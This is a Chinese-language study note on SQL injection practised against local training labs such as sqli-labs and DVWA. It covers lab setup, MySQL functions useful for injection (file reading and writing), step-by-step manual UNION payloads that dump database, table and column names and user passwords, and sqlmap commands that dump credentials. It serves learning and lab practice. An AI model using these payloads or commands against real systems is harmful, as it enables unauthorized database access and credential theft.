环境搭建

python3+

sqlmap

phpstudy2018

sql-labs

DVWA教程安装

DVWAgithub

upload-labs

等等靶场的创建:

渗透测试靶场合集

网络安全小白入门必刷的8个靶场

渗透测试靶场

教一下怎么搭建把:

🥧

直接看大佬的走起:

python3、sqlmap下载与安装教程

sqli-labs环境搭建及数据库基础

测试中遇到的问题:

Mysql| 命令行模式访问操作mysql数据库.

直接在数据库里操作:

问了大佬:

命令行会被你输入的进行检查,如果不完整的话,就会让你补充完整,那个软件(Navicat)会将命令直接提交数据库执行(我说为啥测试不出来呢!)

还有一点!

之前理解有点误区!以为#是在php代码里起作用!实际上是在数据库里起到注释的作用!php只会把他当成字符串(因为是"里,如果在外面就是php注释的作用了!)! 最终语句起作用还是是在数据库!

简单点说:就是php只会

image-20210110215154123

image-20210110220237140

自己在本地测试了下:

image-20210110220614296

当输入#
前端是没有回显的!%23有回显!但是变成了字符串!
这好吧,那以前理解的有点问题!问题不大!

image-20210110220831501

以前学sql注入的时候!自己以为是因为传入php的参数里有#会起到注释的作用!但是自己试了试发现上面的情况!#直接没了!不知道为啥!但%23会被当成字符串解析!

所以sql注入说白了还是直接和数据库对接操作!

phpMyAdmin

phpMyAdmin 是一个以[PHP](https://baike.baidu.com/item/PHP/9337)为基础,以Web-Base方式架构在网站主机上的[MySQL](https://baike.baidu.com/item/MySQL/471251)的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的[HTML](https://baike.baidu.com/item/HTML)页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

简单的说就是php搭起来的一个对[MySQL]管理工具!

mysql常用语句

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password) 类似字符串拼接!
group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
就是把当前字段里的,每行数据拼接到一起
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件
limit 第几行开始,要几行
%23 #号的url编码,可以用--%20代替,用于注释后面的sql语句

sql 注释3种:# --空格 多行注释 /**/
information_schema 为自带数据库
table_schema数据库名
table_name 数据表名
column_name 字段名

image-20210110222213912

information_schema.schemata  schema_name
information_schema.tables table_schema table_name
information_schema.columns table_name column_name

SQL注入类型

看别的md

sql union注入 手注:

MySQL UNION 操作符

1 查找注入点

\
'
"
看一看是否报错
SELECT * FROM users WHERE id='1\' LIMIT 0,1;
SELECT * FROM users WHERE id='-1'or 1;#' LIMIT 0,1;

-1'or 1;%23' LIMIT 0,1;

-1'or 1;#
-1'or 1;$23
-1'or 1;--+

2 判断字段

SELECT * FROM users WHERE id='1'order by 4;#' LIMIT 0,1;
SELECT * FROM users WHERE id='1'order by 3;#' LIMIT 0,1;

1'order by 4;%23
1'order by 3;%23

3爆库

-1'or 1;%23
1' union select 1,2,3;%23


SELECT * FROM users WHERE id='-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;#' LIMIT 0,1;

1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;%23

-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;--+

4爆表

SELECT * FROM users WHERE id='-1' union select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database() #' LIMIT 0,1;

-1' union select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database() #
@emails,@referers,@uagents,@users

-1' union select 1,group_concat("@",table_name),3 from information_schema.tables where table_schema=database() %23

5爆字段

SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"#' LIMIT 0,1;

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"

id,username,password

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"%23

6爆数据

SELECT * FROM users WHERE id='-1' union select 1,group_concat("@",id,username,"~",password,"#"),3 from users #' LIMIT 0,1;

-1' union select 1,group_concat("@",id,username,"~",password,"#"),3 from users #

-1' union select 1,group_concat("@",id,username,"~",password,"*"),3 from users %23

sqlmap使用

基础使用:

-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入
-p username
-v:显示详细的信息,有1-6级,默认为1
-f参数查看指纹信息
--technique 看情况选
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
--technique 看情况选

--dbs:查看目标数据库系统的所有库 -D
--tables -T表名
--columns -C字段名
--dump 内容

关于SQLMAP所有参数的学习笔记

Sqlmap全参数详解

sqlmap常用命令

post时:

先把包放到.txt文件里

然后sqlmap直接 -r

  1. -r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
python2 sqlmap.py -r search-test.txt --batch

GET方法:

开始先不使用DVWA来演示,因为DVWA中需要登录要用到cookie等的信息会比较复杂,刚开始先简单地以Mutillidae中的SQL注入为例:

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbs --batch
–current-db 

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs --technique=E --batch

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --technique=E –current-db --batch

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables --technique=E --batch

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users --columns --technique=E --batch

python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users -C username,password --dump --technique=U --batch